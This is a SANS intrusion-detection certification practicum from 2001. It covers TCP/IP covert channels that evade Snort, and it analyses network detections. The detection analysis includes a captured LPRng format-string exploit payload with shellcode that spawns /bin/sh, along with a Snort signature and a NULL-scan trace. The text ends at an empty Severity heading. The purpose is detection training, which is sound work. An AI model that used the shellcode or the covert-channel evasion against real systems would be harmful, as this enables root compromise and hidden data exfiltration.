Global Information Assurance Certification Paper

SANS Institute

Track 3 - Intrusion Detection In Depth

A Practicum Submitted in Partial Fulfillment of The Requirements of GCIA Certification

October 2001

Table of Contents

Assignment #1 - The State of Intrusion Detection

Covert Channels

By

Aman I. Abdulla

October 2, 2001

1. Abstract

A Covert channel is a simple yet very effective mechanism for sending and receiving information data between machines without alerting any firewalls and IDS's on the network. The technique derives its stealthy nature by virtue of the fact that it sends traffic through ports that most firewalls will permit through. In addition the technique can bypass an IDS by appearing to be an innocuous packet carrying ordinary information when in fact it is concealing its actual data in one of the several control fields in the TCP and IP headers.

The objective of this paper is to demonstrate the effectiveness of this technique in the presence of a firewall and an IDS. It will be shown that even though the technique avoids detection by an stateless IDS by using a variety randomized signatures, the activity can still be detected by diligently examining network traffic for certain patterns in the protocol information that will characterize the tool being used.

2. Introduction

The tool used for this exploit was a slightly modified version of "covert_tcp" code developed and released by Craig Rowland [1]. This tool provides three different methods of sending covert data embedded within one of the following fields:

- The IP packet identification field.
- The TCP initial sequence number field.
- The TCP acknowledge sequence number field "Bounce".

This paper will demonstrate the use of the first and third methods. The original code was modified slightly and compiled individually on each machine. Two machines will be used for this exploit. One is a passive server (receiver) and the other is a client (transmitter) that initiates a transfer with the server. The server would normally be a compromised machine and have the code running on it, listening for connections on any specified port. It should be noted that the server need not always be a compromised machine; a legitimate owner of the machine could use this tool to transfer unauthorized material in and out of a network.

The client will be the machine that initiates a connection with the server on the specified port and sends information to it. Port 80 was used for this experiment though any port may be used. Most firewalls will permit traffic through this port since most networks have web servers running on them. The latest version of **Snort** [2] with all the current rule sets was installed and kept running during this experiment. In addition **tcpdump** was used to capture all packets entering and leaving the server machine.

3. Embedding within the IP Identification field

Two separate hosts on two separate networks were used to analyze this exploit. One machine served as a server and the other as a client. The 16-bit Identification field of the IP header is used to identify fragments that make up a complete packet. This method simply encodes the Identification field with the ASCII representation of the character to be sent. The packet that carries this information is a connection request (SYN). The server end reads the Identification field and converts character to its printable form by dividing the numerical value in the field by 256.

With the server running, the client machine connected to it on port 80. A string of characters ("Covert") was sent from the client to the server. None of the rule sets on Snort reported any alerts due to this traffic. All the relevant packets captured by tcpdump are shown below.

The first packet two packets below illustrate the initial transmission from the client to the server and the response from the server machine. It can be seen that the Identification field in the first packet translates to 43H, which is the character "C". The server program correctly reads the character and stores it, however the TCP/IP stack responds to the SYN packet with an ACK to the previous packet and a reset (RST). Since this is a TCP application one would expect the classic three-way handshake following the initial SYN packet. This however is a characteristic of the way the code is implemented and is the subject of discussion in the following section.

15:46:44.594323 eth0 < x.x.x.x.39946 > 192.168.1.60.http: S 1966080:1966080(0) win 512 (ttl 55, id 17152)

4500 0028 4300 0000 3706 648f xxxx xxxx
c0a8 013c 9c0a 0050 001e 0000 0000 0000
5002 0200 3529 0000 0000 0000 0000

15:46:44.594323 eth0 > 192.168.1.60.http > x.x.x.x.39946: R 0:0(0) ack 1966081 win 0 (DF) (ttl 255, id 0)

4500 0028 0000 4000 ff06 9f8e c0a8 013c
xxxx xxxx 0050 9c0a 0000 0000 001e 0001
5014 0000 3716 0000

The next two packets below illustrate the sequence that conveys the next character in the string from the client to the server and the response from the server machine. It can be seen that the Identification field in the first packet translates to 6F H, which is the character "o".

Just as before the server responds by acknowledging the previous packet and a reset at the same time.

15:46:45.604323 eth0 < x.x.x.x.54296 > 192.168.1.60.http: S 504102912:504102912(0) win 512 (ttl 55, id 28416)

4500 0028 6f00 0000 3706 388f xxxx xxxx
c0a8 013c d418 0050 1e0c 0000 0000 0000
5002 0200 df2c 0000 0000 0000 0000

15:46:45.604323 eth0 > 192.168.1.60.http > x.x.x.x.54296: R 0:0(0) ack 504102913 win 0 (DF) (ttl 255, id 0)

4500 0028 0000 4000 ff06 9f8e c0a8 013c
xxxx xxxx 0050 d418 0000 0000 1e0c 0001
5014 0000 e119 0000

The rest of the traffic that makes up the string "**Covert**" is shown below:

15:46:46.614323 eth0 < x.x.x.x.14879 > 192.168.1.60.http: S 117964800:117964800(0) win 512 (ttl 55, id 30208)

4500 0028 7600 0000 3706 318f xxxx xxxx
c0a8 013c 3a1f 0050 0708 0000 0000 0000
5002 0200 902a 0000 0000 0000 0000

15:46:46.614323 eth0 > 192.168.1.60.http > x.x.x.x.14879: R 0:0(0) ack 117964801 win 0 (DF) (ttl 255, id 0)

4500 0028 0000 4000 ff06 9f8e c0a8 013c
xxxx xxxx 0050 3a1f 0000 0000 0708 0001
5014 0000 9217 0000

15:46:47.624323 eth0 < x.x.x.x.31780 > 192.168.1.60.http: S 3741384704:3741384704(0) win 512 (ttl 55, id 25856)

4500 0028 6500 0000 3706 428f xxxx xxxx
c0a8 013c 7c24 0050 df01 0000 0000 0000
5002 0200 762b 0000 0000 0000 0000

15:46:47.624323 eth0 > 192.168.1.60.http > x.x.x.x.31780: R 0:0(0) ack 3741384705 win 0 (DF) (ttl 255, id 0)

4500 0028 0000 4000 ff06 9f8e c0a8 013c
xxxx xxxx 0050 7c24 0000 0000 df01 0001
5014 0000 7818 0000

15:46:48.634323 eth0 < x.x.x.x.17925 > 192.168.1.60.http: S 3238723584:3238723584(0) win 512 (ttl 55, id 29184)
4500 0028 7200 0000 3706 358f xxxx xxxx
c0a8 013c 4605 0050 c10b 0000 0000 0000
5002 0200 ca40 0000 0000 0000 0000

15:46:48.634323 eth0 > 192.168.1.60.http > x.x.x.x.17925: R 0:0(0) ack 3238723585 win 0 (DF) (ttl 255, id 0)
4500 0028 0000 4000 ff06 9f8e c0a8 013c
xxxx xxxx 0050 4605 0000 0000 c10b 0001
5014 0000 cc2d 0000

15:46:49.644323 eth0 < x.x.x.x.51999 > 192.168.1.60.http: S 2569076736:2569076736(0) win 512 (ttl 55, id 29696)
4500 0028 7400 0000 3706 338f xxxx xxxx
c0a8 013c cb1f 0050 9921 0000 0000 0000
5002 0200 6d10 0000 0000 0000 0000

15:46:49.644323 eth0 > 192.168.1.60.http > x.x.x.x.51999: R 0:0(0) ack 2569076737 win 0 (DF) (ttl 255, id 0)
4500 0028 0000 4000 ff06 9f8e c0a8 013c
xxxx xxxx 0050 cb1f 0000 0000 9921 0001
5014 0000 6efd 0000

3.1 Observations

Examining the above sequence, the most obvious observation is that it is a sequence quite uncharacteristic of a typical TCP sequence. Normally one would expect the server side to respond with a SYN and an ACK. Instead, every SYN is responded to with a RST. The reason for this becomes apparent if we examine the code. In a normal TCP server application, the program issues ***listen()*** and ***accept()*** calls; the client then issues a ***connect()*** call to initiate a three-way handshake. This particular application uses raw sockets, which are usually used for applications that use protocols such as ICMP. Both the server and client functions use blocking ***read()*** calls. Thus, the stack receives a datagram for an unbound socket and simply issues a RST. This sequence observed as part of network traffic can therefore be associated with this particular tool. It must be noted however that a hacker with a reasonable knowledge of programming will be able to modify the basic experimental tool to make it appear to be a normal and legitimate network application.

Even though there is no definite signature generated by this application for use in an IDS, there are certain suspicious patterns in the above sequence that would alert an observant analyst to the presence of covert channel. The IP Identification field usually increments

by one each time the stack transmits a datagram. In the above sequence we see that identification sequence is quite erratic not to mention the fact that is decrementing relative to the timestamps in certain cases.

Another observation that we can make is that the port numbers from the client are changing with every connection request and within a very short interval. This is very unusual especially considering the fact that the requests are destined for the same destination port.

Even though this exploit eluded the IDS there are enough telltale symptoms in the network traffic to alert an analyst to presence of a covert channel. However to detect this will require the capturing of all network traffic, which will become an onerous task. A better approach would be to identify traffic generated to and from specific IP addresses and just trap that traffic.

4. Embedding in the TCP Acknowledge Sequence Number Field

This method spoofs the IP address of the client and bounces the information bearing datagram off a bounce server (i.e., the spoofed IP) thus creating a difficult to detect, anonymous one-way communication channel. The basis for this method is the characteristic of the TCP/IP three-way handshake that specifies that a server respond to a connect request (SYN) with a SYN/ACK packet. The ACK field contains the original sequence number plus one, i.e., indicating the next sequence number it is expecting. In this method the character to be sent to the server is embedded in this field. Note that once a connection has been established, this field is always set [4]. The initial connection request datagram from the client is crafted such that the destination IP is the spoofed bounce server IP and the source IP is the address of the machine running the passive server code.

In this way the bounce server receives the initial SYN and responds to the server machine with a SYN/ACK of its own or a RST depending on the status of the port specified in the connection request. It essentially relays (albeit unwittingly) the request from the client to the server. It is always a good idea to use a port such as port 80 (http) which will usually have a lot of traffic associated with it, thus providing an excellent means for concealing the covert traffic. The listening server will receive the incoming datagram and decode the ACK sequence number back to the original ASCII representation of the character. The sequence number is converted to ASCII by dividing the numerical value of that field by 16777216 (representation of 2^{24}) [1].

Three machines on the same subnet were used to demonstrate and analyze this exploit. The client machine has IP address 192.168.1.111, the bounce server has IP address 192.168.1.20, and the server machine has IP address 192.168.1.60.

The first packet two packets below illustrate the initial transmission from the client to the server and the response from the server machine. It can be seen that the Identification field in the first packet translates to 43H, which is the character "C". The server program correctly reads the character and stores it, however the TCP/IP stack responds to the SYN packet with an ACK to the previous packet and a reset (RST).

Just as before the active IDS was the latest version of **Snort** [2] together with **tcpdump** to capture all packets entering and leaving the server machine. The client machine was used to send the string "Covert". None of the rule sets on Snort reported any alerts due to this traffic. All the relevant packets captured by tcpdump are shown below. The first packet two packets below illustrate the initial transmission from the bounce server to the covert TCP server and the response from the server machine. It can be seen that the ACK field in the first packet translates to 43H (1124073473/16777216 = 67 = 43h), which is the ASCII character "C".

19:50:12.957787 eth0 < 192.168.1.20.http > 192.168.1.60.http: S 81531:81531(0) ack 1124073473 win 8576 <mss 1460> (DF) (ttl 128, id 23554)
4500 002c 5c02 4000 8006 1b29 c0a8 0114
c0a8 013c 0050 0050 0001 3e7b 4300 0001
6012 2180 70d8 0000 0204 05b4 0000

19:50:12.957787 eth0 > 192.168.1.60.http > 192.168.1.20.http: R 1124073473:1124073473(0) win 0 (DF) (ttl 255, id 0)
4500 0028 0000 4000 ff06 f82e c0a8 013c
c0a8 0114 0050 0050 4300 0001 0000 0000
5004 0000 e89e 0000

The server program correctly reads the character and stores it, however the TCP/IP stack responds to the SYN packet with a reset (RST) for reasons similar to those described in the previous method. In this case it is appropriate for the TCP/IP stack to respond to an unsolicited SYN/ACK with a reset. The rest of the traffic for the complete string is shown below.

19:50:13.967787 eth0 < 192.168.1.20.http > 192.168.1.60.http: S 81544:81544(0) ack 1862270977 win 8576 <mss 1460> (DF) (ttl 128, id 23810)
4500 002c 5d02 4000 8006 1a29 c0a8 0114
c0a8 013c 0050 0050 0001 3e88 6f00 0001
6012 2180 44cb 0000 0204 05b4 0000

19:50:13.967787 eth0 > 192.168.1.60.http > 192.168.1.20.http: R 1862270977:1862270977(0) win 0 (DF) (ttl 255, id 0)
4500 0028 0000 4000 ff06 f82e c0a8 013c
c0a8 0114 0050 0050 6f00 0001 0000 0000
5004 0000 bc9e 0000

19:50:14.977787 eth0 < 192.168.1.20.http > 192.168.1.60.http: S 81551:81551(0) ack 1979711489 win 8576 <mss 1460> (DF) (ttl 128, id 24066)
4500 002c 5e02 4000 8006 1929 c0a8 0114
c0a8 013c 0050 0050 0001 3e8f 7600 0001
6012 2180 3dc4 0000 0204 05b4 0000

19:50:14.977787 eth0 > 192.168.1.60.http > 192.168.1.20.http: R 1979711489:1979711489(0) win 0 (DF) (ttl 255, id 0)
4500 0028 0000 4000 ff06 f82e c0a8 013c
c0a8 0114 0050 0050 7600 0001 0000 0000
5004 0000 b59e 0000

19:50:15.987787 eth0 < 192.168.1.20.http > 192.168.1.60.http: S 81552:81552(0) ack 1694498817 win 8576 <mss 1460> (DF) (ttl 128, id 24322)
4500 002c 5f02 4000 8006 1829 c0a8 0114
c0a8 013c 0050 0050 0001 3e90 6500 0001
6012 2180 4ec3 0000 0204 05b4 0000

19:50:15.987787 eth0 > 192.168.1.60.http > 192.168.1.20.http: R 1694498817:1694498817(0) win 0 (DF) (ttl 255, id 0)
4500 0028 0000 4000 ff06 f82e c0a8 013c
c0a8 0114 0050 0050 6500 0001 0000 0000
5004 0000 c69e 0000

19:50:16.997787 eth0 < 192.168.1.20.http > 192.168.1.60.http: S 81563:81563(0) ack 1912602625 win 8576 <mss 1460> (DF) (ttl 128, id 24578)
4500 002c 6002 4000 8006 1729 c0a8 0114
c0a8 013c 0050 0050 0001 3e9b 7200 0001
6012 2180 41b8 0000 0204 05b4 0000

19:50:16.997787 eth0 > 192.168.1.60.http > 192.168.1.20.http: R 1912602625:1912602625(0) win 0 (DF) (ttl 255, id 0)
4500 0028 0000 4000 ff06 f82e c0a8 013c
c0a8 0114 0050 0050 7200 0001 0000 0000
5004 0000 b99e 0000

19:50:18.007787 eth0 < 192.168.1.20.http > 192.168.1.60.http: S 81568:81568(0) ack 1946157057 win 8576 <mss 1460> (DF) (ttl 128, id 24834)
4500 002c 6102 4000 8006 1629 c0a8 0114
c0a8 013c 0050 0050 0001 3ea0 7400 0001
6012 2180 3fb3 0000 0204 05b4 0000

19:50:18.007787 eth0 > 192.168.1.60.http > 192.168.1.20.http: R 1946157057:1946157057(0) win 0 (DF) (ttl 255, id 0)
4500 0028 0000 4000 ff06 f82e c0a8 013c
c0a8 0114 0050 0050 7400 0001 0000 0000
5004 0000 b79e 0000

4.1 Observations

Just as before the IDS did not raise any alerts as a result of this traffic so detection of this activity relies on tcpdump captures. Examining the above sequence, the most obvious observation is the fact that there is a series of SYN/ACK packets with no evidence of SYN packets (connection requests) that would have elicited such responses. This is the key to identifying this method within network traffic. Note that the IP address of the client (192.168.1.111) remains concealed to the server with this method. This is discussed further in the next section.

Also note that the source and destination ports are the same. By default both the client and server programs use port 80 as the source port. This setting can be changed to any value, but the fact remains that the source and destination ports will be the same. Two high ports sending data to each other is equally as suspicious as two applications on port 80 communicating if not more so. We could of course randomize the client and server ports however we have to use an open port on the bounce server and the most common open port on all servers is port 80.

Looking at the sequence there are characteristics other than similar port numbers that should cause an analyst to examine the traffic from these addresses very closely. For example, within a span of six seconds there have been six SYN/ACK's received and within that set of datagrams the ACK sequence has decremented. This can happen with out of sequence packets but not likely within such a short period of time.

5. Analysis of traffic at the "Bounce" server

A separate bouncer server with tcpdump running on it was setup for this experiment. The objective was to collect data using tcpdump at the bounce server and attempt to identify network activity generated by a covert channel, and to further illustrate the effectiveness of this exploit in concealing the address of the covert client. The address of this bounce server is 192.168.1.10, the covert server is still 192.168.1.60 and the covert client is 192.168.1.111.

The following sequence of packets illustrates the sequence generated by sending the first character ("C") in the string.

10:11:47.145612 eth0 < 192.168.1.60.http > 192.168.1.10.http: S
1124073472:1124073472(0) win 512 (ttl 64, id 29184)
4500 0028 7200 0000 4006 8539 c0a8 013c
c0a8 010a 0050 0050 4300 0000 0000 0000
5002 0200 e6ab 0000 0000 0000 0000

10:11:47.155612 eth0 > 192.168.1.10.http > 192.168.1.60.http: S
3809931549:3809931549(0) ack 1124073473 win 5840 <mss 1460> (DF) (ttl 64, id 0)
4500 002c 0000 4000 4006 b735 c0a8 010a
c0a8 013c 0050 0050 e316 f11d 4300 0001
6012 16d0 e5d9 0000 0204 05b4

10:11:47.155612 eth0 < 192.168.1.60.http > 192.168.1.10.http: R
1124073473:1124073473(0) win 0 (DF) (ttl 255, id 0)
4500 0028 0000 4000 ff06 f838 c0a8 013c
c0a8 010a 0050 0050 4300 0001 0000 0000
5004 0000 e8a8 0000 0000 0000 0000

The first packet is the initial SYN from the client (192.168.1.111) to the bounce server but with a spoofed source IP of the covert server (192.168.1.60). Note that the sequence number field has been encoded with the first character we wish to send, translated as described in the previous section. The bounce server responds with a SYN/ACK of its own to the covert server thinking that it is the remote end that wishes to establish a connection. The ACK field of this packet contains the encoded character plus one. The covert server gets an unsolicited SYN/ACK packet and correctly responds with a reset (RST). The covert server that was listening on port 80 has received the packet and stores the character after translating it back to its ASCII representation. The rest of the characters in the string will generate a similar sequence of packets.

As can be seen in this sequence the address of the covert client does not appear anywhere. The one characteristic in the sequence that should alert an analyst to anomalous activity is the fact that a well-known service such as http (port 80) is initiating a connection with port 80 on the bounce server. This in itself should be cause for concern and further action. Secondly, the pattern will establish itself quite clearly over time; a connection from the spoofed IP will initiate a connection request, the bounce server will naturally respond with a SYN/ACK but the covert server will always respond with a reset. This pattern can be associated with a high degree of certainty to a covert channel and the use of the machine as a bounce server.

6. Conclusions

Two methods of covert channel techniques have been demonstrated and analyzed in a "real-life" setting and the results clearly establish the effectiveness of this exploit in evading stateless IDS tools. The results establish very clearly the effectiveness of tools such as tcpdump in identifying network traffic patterns generated as a result of covert channel activity. In both cases uncharacteristic protocol events were observed with consistent patterns specific to the method being used. The protocol fields that are key to identifying these patterns are IP identification, sequence and acknowledge number fields. The sequence of these values will be erratic and contrary to the TCP/IP protocol specifications. The protocol events that are key to identifying these patterns are unsolicited SYN/ACK's and consistent RST responses to SYN requests.

It is clear that a stateless IDS is unable to detect covert channel activity. Tools such as tcpdump on the other hand are very effective in providing detailed information that can be used to identify and analyze such activity. However, this is a very onerous task on busy servers, not to mention the large amounts of storage required. A reasonable approach would be to capture traffic from only those addresses that are suspected to be generating anomalous traffic.

References

[1] Craig H. Rowland, "Covert Channels in the TCP/IP Suite". 11-14-1996
www.psionic.com

[2] Snort – The Open Source Network IDS
www.snort.org

[3] Steganography Tools
www.jjtc.com/Security/stegtools.htm

[4] TCP/IP Illustrated – Volume 1
The Protocols
W. Richard Stevens
Addison-Wesley Professional Computing Series

[5] Dale M. Johnson, Joshua D. Guttman, John P. L. Woodward, "Self-Analysis for Survival". The MITRE Corporation
www.cert.org/research/isw/isw97/all_the_papers/no14.html

[6] SANS Information Security Reading Room, "Covert Channels, Privacy & Information Hiding".
www.sans.org/infosecFAQ/covertchannels/covert_list.htm

Assignment #2 – Analysis of Network Detects

By

Aman I. Abdulla

October 4, 2001

Objective

The objective of this report is to analyze five separate network detects and present the results. The five detects have been obtained from private and publicly accessible networks. The NIDS tool used is Snort [1].

1. Detect : Redhat 7.0 lprd Overflow

The following is a trace that was captured on a sensor running on a subnet assigned to a school in an educational institute.

```
[**] EXPLOIT redhat 7.0 lprd overflow [**]
10/12-02:56:15.696382 195.61.80.253:3069 -> x.x.x.x:515
TCP TTL:42 TOS:0x0 ID:45360 IpLen:20 DgmLen:475 DF
***AP*** Seq: 0x8A934D1D  Ack: 0xAAE94C7A  Win: 0x7D78  TcpLen: 32
TCP Options (3) => NOP NOP TS: 22117945 124961620
0x0000: 00 01 02 45 45 5B 00 E0 7B 7E 5A 06 08 00 45 00  ...EE[..{~Z...E.
0x0010: 01 DB B1 30 40 00 2A 06 B8 C8 C3 3D 50 FD xx xx  ...0@.*....=P..
0x0020: xx xx 0B FD 02 03 8A 93 4D 1D AA E9 4C 7A 80 18  B.......M...Lz..
0x0030: 7D 78 C7 F5 00 00 01 01 08 0A 01 51 7E 39 07 72  }x.........Q~9.r
0x0040: C3 54 42 42 EC FF FF BF ED FF FF BF EE FF FF BF  .TBB............
0x0050: EF FF FF BF 58 58 58 58 58 58 58 58 58 58 58 58  ....XXXXXXXXXXXX
0x0060: 58 58 58 58 58 58 25 2E 31 37 32 75 25 33 30 30  XXXXXX%.172u%300
0x0070: 24 6E 25 2E 31 37 75 25 33 30 31 24 6E 25 2E 32  $n%.17u%301$n%.2
0x0080: 35 33 75 25 33 30 32 24 6E 25 2E 31 39 32 75 25  53u%302$n%.192u%
0x0090: 33 30 33 24 6E 90 90 90 90 90 90 90 90 90 90 90  303$n...........
0x00A0: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
0x00B0: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
0x00C0: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
0x00D0: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
0x00E0: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
0x00F0: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
0x0100: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
0x0110: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
0x0120: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
0x0130: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
0x0140: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
0x0150: 90 90 90 90 90 90 90 90 90 90 90 90 90 31 DB 31  .............1.1
0x0160: C9 31 C0 B0 46 CD 80 89 E5 31 D2 B2 66 89 D0 31  .1..F....1..f..1
0x0170: C9 89 CB 43 89 5D F8 43 89 5D F4 4B 89 4D FC 8D  ...C.].C.].K.M..
0x0180: 4D F4 CD 80 31 C9 89 45 F4 43 66 89 5D EC 66 C7  M...1..E.Cf.].f.
0x0190: 45 EE 0F 27 89 4D F0 8D 45 EC 89 45 F8 C6 45 FC  E..'.M..E..E..E.
0x01A0: 10 89 D0 8D 4D F4 CD 80 89 D0 43 43 CD 80 89 D0  ....M.....CC....
0x01B0: 43 CD 80 89 C3 31 C9 B2 3F 89 D0 CD 80 89 D0 41  C....1..?......A
0x01C0: CD 80 EB 18 5E 89 75 08 31 C0 88 46 07 89 45 0C  ....^.u.1..F..E.
0x01D0: B0 0B 89 F3 8D 4D 08 8D 55 0C CD 80 E8 E3 FF FF  .....M..U.......
0x01E0: FF 2F 62 69 6E 2F 73 68 0A                       ./bin/sh.
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=
```

The following is the entry from the Snort alert file:

[**] [1:302:1] EXPLOIT redhat 7.0 lprd overflow [**]
[Classification: Attempted Administrator Privilege Gain] [Priority: 10]
10/12-02:56:15.696382 195.61.80.253:3069 -> x.x.x.x:515
TCP TTL:42 TOS:0x0 ID:45360 IpLen:20 DgmLen:475 DF
*****AP*** Seq: 0x8A934D1D Ack: 0xAAE94C7A Win: 0x7D78 TcpLen: 32**
TCP Options (3) => NOP NOP TS: 22117945 124961620

1.1 Source of Trace

This trace was captured on a sensor, running on a publicly accessible subnet. The subnet is connected to the backbone via a router. The NIDS was running on the server that was targeted for this exploit. The server also provides secondary web services, print services, Samba, and NFS services.

1.2 Detect was generated by:

Running the latest version of Snort (snort-1.8.1-RELEASE) using the default rule sets provided with the package. The rule activating this alert is found in the "exploit.rules" file.

```
alert tcp $EXTERNAL_NET any -> $HOME_NET 515 (msg:"EXPLOIT LPRng
overflow"; flags: A+; content: "|43 07 89 5B 08 8D 4B 08 89 43 0C
B0 0B CD 80 31 C0 FE C0 CD 80 E8 94 FF FF FF 2F 62 69 6E 2F 73 68
0A|"; reference:bugtraq,1712; classtype:attempted-admin; sid:301;
rev:1;)
```

1.3 Probability that the source address was spoofed

The exploit involves causing a buffer overflow on the target system, establishing a TCP connection to the victim host and executing programs so the IP address cannot be spoofed.

1.4 Description of attack

This is an exploit that specifically targets RedHat 7.0 systems. The following is an excerpt from [8]:

"A popular replacement software package to the BSD lpd printing service called LPRng contains at least one software defect known as a "format string vulnerability" which may allow remote users to execute arbitrary code on vulnerable systems. The privileges of such code will probably be root-level." [8]

1.5 Attack mechanism

The following excerpt from [9] describes the mechanism very well:

"LPRng, now being packaged in several open-source operating system distributions, has a missing format string argument in at least two calls to the ***syslog()*** function. Missing format strings in function calls allow user-supplied arguments to be passed to a susceptible ****snprintf()*** function call. Remote users with access to the printer port (port 515/tcp) may be able to pass format-string parameters that can overwrite arbitrary addresses in the printing service's address space. Such overwriting can cause segmentation violations leading to denial of printing services or to the execution of arbitrary code injected through other means into the memory segments of the printer service." [9]

The source code for this exploit is available as: "**rdC-LPRng.c**" from any number of sites that provide exploits. This particular program will allow a user to construct a buffer that will insert a string in the missing format and overwrite addresses in the printer daemon and cause it to crash. The exploit code then inserts its own shell code in the code space of the daemon and thus execute any program. In the trace above we can see this at the very end of the payload. The string "**/bin/sh**" will give the attacker a root console and thus the means to execute any program with full root privileges. The destination port is TCP port 515 the print spooler.

The program connects to port 515, sends the buffer to the target machine, sleeps for a one second to allow the malicious code to be installed and then runs a shell console. Then two commands to get the kernel version ("/bin/uname –a") and the real and effective user and group identification is obtained ("/usr/bin/id"). After that the user has a TCP connection to a remote console with full root privileges.

1.6 Correlations

This vulnerability has been widely reported in refernces [8] and [9] as well as:

http://lists.suse.com/archives/suse-security/2000-Sep/0259.html

http://www.redhat.com/support/errata/RHSA-2000-065-06.html

1.7 Evidence of active targeting

This is most certainly active targeting. The server was targeting with the express purpose of compromising it.

1.8 Severity

The severity of the attack is determined by evaluating a set of four variables [2]:

Criticality of the victim host
Lethality of the attack
System countermeasures
Network countermeasures

Each of the variables above is assigned a numerical value based on a scale of 1 (low), to 5 (high). The overall severity of the attack is then calculated as follows:

Severity = (criticality + lethality) – (System + Network countermeasures)

Criticality = 3. The target machine is a server providing web, NFS and print services.

Lethality = 5. This is a serious attack that, if successful will give the attacker full root privileges.

System Countermeasures = 5. This is relatively secure system with all updated patches and running NIDS and a firewall.

Network Countermeasures = 3. The outer router should not have allowed inbound connections to port 515.

Severity = (3 + 5)– (5 + 3) = 0. Though the attack did not succeed, this IP and/or the subnet it originates from must be blocked.

1.9 Defensive recommendations

Configure the outer firewall to block inbound port 515 connections. In addition, the source IP address must be blocked at the outer firewall. The entire subnet that this IP originates from has been filtered on the server using ipchains. The administrator for the source network has been notified and the relevant information has been sent over.

1.10 Multiple choice test question

```
17:09:17.944216 eth0 < 192.168.1.111.32776 > 192.168.1.60.printer: P
1:450(449) ack 1 win 5840 <nop,nop,timestamp 335807 333484> (DF) (ttl
64, id 49993)
                    4500 01f5 c349 4000 4006 f1bd c0a8 016f
                    c0a8 013c 8008 0203 6c4e dcf9 7c4b fa3c
                    8018 16d0 8724 0000 0101 080a 0005 1fbf
                    0005 16ac 4141 f0f0 ffbf f1f0 ffbf f2f0
                    ffbf f3f0 ffbf 252e 3233 3675 2533 3034
                    246e 252e 3231 3775 2533 3035 246e 252e
                    3675 2533 3036 246e 252e 3139 3275 2533
                    3037 246e 9090 9090 9090 9090 9090 9090
                    9090 9090 9090 9090 9090 9090 9090 9090

17:09:17.944216 eth0 > 192.168.1.60.printer > 192.168.1.111.32776: .
1:1(0) ack 450 win 6432 <nop,nop,timestamp 333484 335807> (DF) (ttl 64,
id 60560)
                    4500 0034 ec90 4000 4006 ca37 c0a8 013c
                    c0a8 016f 0203 8008 7c4b fa3c 6c4e deba
                    8010 1920 5f8f 0000 0101 080a 0005 16ac
                    0005 1fbf
```

The trace above was captured using tcpdump on a server. We can conclude from the information available that:

(a). This is an attempt by a remote machine to obtain a root console on the server
(b). This is a case of mistaken identity where the print services were requested
(c). A connection was attempted to port 515 but the attempt to send data to the daemon was rejected.
(d). A connection was successfully established to port 515 and data was sent to the print daemon
(e). None of the above

Answer: d. (Assuming we are looking for the **best** answer. To answer (a) would require more of the payload).

2. Detect: STEALTH ACTIVITY (NULL scan) detection

The following is one of several scan traces that were captured on a sensor running on a subnet assigned to a school in an educational institute.

```
[**] spp_stream4: STEALTH ACTIVITY (NULL scan) detection [**]
10/02-21:11:33.326382 210.55.12.134:1580 -> x.x.x.255:0
TCP TTL:46 TOS:0x0 ID:39880 IpLen:20 DgmLen:88
******** Seq: 0x7D20368  Ack: 0x3A00E896  Win: 0x200  TcpLen: 20
0x0000: FF FF FF FF FF FF 00 E0 7B 7E 5A 06 08 00 45 00 ........{~Z...E.
0x0010: 00 58 9B C8 00 00 2E 06 40 33 D2 37 0C 86 xx xx  .X......@3.7....
0x0020: xx FF 06 2C 00 00 07 D2 03 68 3A 00 E8 96 50 00  B..,.....h:...P.
0x0030: 02 00 80 CA 00 00 58 58 58 58 58 58 58 58 58 58    ......XXXXXXXXXX
0x0040: 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58      XXXXXXXXXXXXXXXX
0x0050: 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58    XXXXXXXXXXXXXXXX
0x0060: 58 58 58 58 58 58                                    XXXXXX
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=
```

There were a total of ten such traces within a one second period. They all originated from the same source IP and port number to the same broadcast destination IP. The important characteristics to observe in the above trace is that the destination port is zero, the destination IP is a broadcast address, and none of the TCP flags are set.

2.1 Source of Trace

This trace was captured on a sensor, running on a publicly accessible subnet. The subnet is connected to the backbone via a router. The NIDS was running on a sensor that is one of the hosts on the broadcast subnet.

2.2 Detect was generated by:

Running the latest version of Snort (snort-1.8.1-RELEASE) using the default rule sets provided with the package. This alert was generated by the scan.rules rule file.

2.3 Probability that the source address was spoofed

It is unlikely that this source IP was spoofed since the source is attempting to obtain information on the subnet and therefore requires the responses.

2.4 Description of attack

There are several tools available that are designed to allow someone to scan networks for active hosts, determine open ports on those systems, and discover router and firewall policies. One such tool is hping2 [4] that can be used to perform those tasks as well as send crafted packets. The capture has all the characteristics of hping2 ands these are described in the next section.

2.5 Attack mechanism

The hping2 tool uses a destination port of zero and no TCP flags (hence the NULL scan) by the default. This results in the receiver responding with a RST/ACK packet. This is an effective method of pinging a host if ICMP messages are being blocked. A scan with port set to zero and no TCP flags set can get through some firewalls and boundary routers that filter on incoming TCP packets with standard flag settings.

Attackers use this tool to identify open ports on a target host. If the target host's TCP port is closed, the target device sends a RST/ACK packet in reply. If the target device's TCP port is open, the target discards the TCP NULL scan, and no reply is sent. In other words, a port that is in a LISTEN state will not respond to these scans.

The above traces indicate that the attacker is scanning the whole subnet using the broadcast IP address (x.x.x.255). Presumably they are obtaining information on all active hosts on the subnets and the services they offer.

2.6 Correlations

These detects are been reported extensively and some can be found at:

http://www.sans.org/y2k/013000-1200.htm

In addition there is extensive literature available that explains this exploit and its characteristics. One excellent source is:

http://www.enteract.com/~lspitz/audit.html

2.7 Evidence of active targeting

Since this is a scan of the whole subnet it is not active targeting.

2.8 Severity

